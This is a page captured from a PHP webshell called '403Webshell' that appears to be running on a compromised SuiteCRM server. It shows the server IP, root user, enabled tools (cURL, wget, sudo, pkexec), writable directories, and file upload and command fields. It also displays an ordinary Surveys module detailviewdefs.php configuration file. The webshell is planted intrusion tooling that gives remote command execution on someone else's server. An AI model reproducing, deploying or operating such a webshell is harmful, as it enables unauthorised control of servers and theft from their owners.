403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/AppointmentScheduler-Don/modules/Surveys/metadata/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/AppointmentScheduler-Don/modules/Surveys/metadata//detailviewdefs.php
<?php
$module_name = 'Surveys';
$viewdefs [$module_name] = array(
    'DetailView' => array(
        'templateMeta' => array(
            'form'                => array(
                'buttons' => array(
                    0 => 'EDIT',
                    1 => 'DUPLICATE',
                    2 => 'DELETE',
                    3 => 'FIND_DUPLICATES',
                    4 => array(
                        'customCode' => '<input type="submit" class="button" onClick="var _form = document.getElementById(\'formDetailView\');_form.action.value=\'reports\';SUGAR.ajaxUI.submitForm(_form);" value="{$MOD.LBL_VIEW_SURVEY_REPORTS}">',
                    ),
                ),
            ),
            'maxColumns'          => '2',
            'widths'              => array(
                0 => array(
                    'label' => '10',
                    'field' => '30',
                ),
                1 => array(
                    'label' => '10',
                    'field' => '30',
                ),
            ),
            'useTabs'             => false,
            'tabDefs'             => array(
                'DEFAULT' => array(
                    'newTab'       => false,
                    'panelDefault' => 'expanded',
                ),
            ),
            'syncDetailEditViews' => true,
        ),
        'panels'       => array(
            'default' => array(
                0 => array(
                    0 => 'name',
                    1 => 'assigned_user_name',
                ),
                1 => array(
                    0 => 'survey_url_display',
                ),
                2 => array(
                    0 => array(
                        'name'   => 'status',
                        'studio' => 'visible',
                        'label'  => 'LBL_STATUS',
                    ),
                    1 => '',
                ),
                3 => array(
                    0 => 'description',
                ),
                4 => array(
                    0 => 'survey_questions_display',
                ),
            ),
        ),
    ),
);

Youez - 2016 - github.com/yon3zu
LinuXploit